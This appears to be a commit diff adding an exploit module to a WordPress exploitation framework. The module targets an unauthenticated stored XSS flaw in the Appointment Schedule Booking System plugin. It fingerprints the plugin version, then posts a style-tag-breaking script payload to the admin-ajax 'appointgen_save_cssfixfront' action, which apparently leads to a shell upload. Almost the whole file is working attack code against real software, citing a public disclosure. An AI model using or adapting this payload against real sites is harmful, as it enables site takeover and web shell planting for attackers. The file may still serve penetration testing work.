Add Appointment Schedule Booking System stored XSS module

Author: rastating

modules/exploits/appointment_schedule_booking_system_stored_xss_shell_upload.rb

@@ -0,0 +1,39 @@
+class Wpxf::Exploit::AppointmentScheduleBookingSystemStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Appointment Schedule Booking System Unauthenticated Stored XSS Shell Upload',
+      author: [
+        'White Fir Design',               # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8634'],
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/10/03/persistent-cross-site-scripting-xss-vulnerability-in-wordpress-appointment-schedule-booking-system/']
+      ],
+      date: 'Oct 04 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-appointment-schedule-booking-system', '1.1')
+  end
+
+  def vulnerable_page
+    'the page containing the appointment schedule'
+  end
+
+  def store_script
+    execute_post_request(
+      url: wordpress_url_admin_ajax,
+      body: {
+        'action' => 'appointgen_save_cssfixfront',
+        'cssfix' => 'front',
+        'css' => "</style></style><script>#{xss_include_script}</script><style>"
+      }
+    )
+  end
+end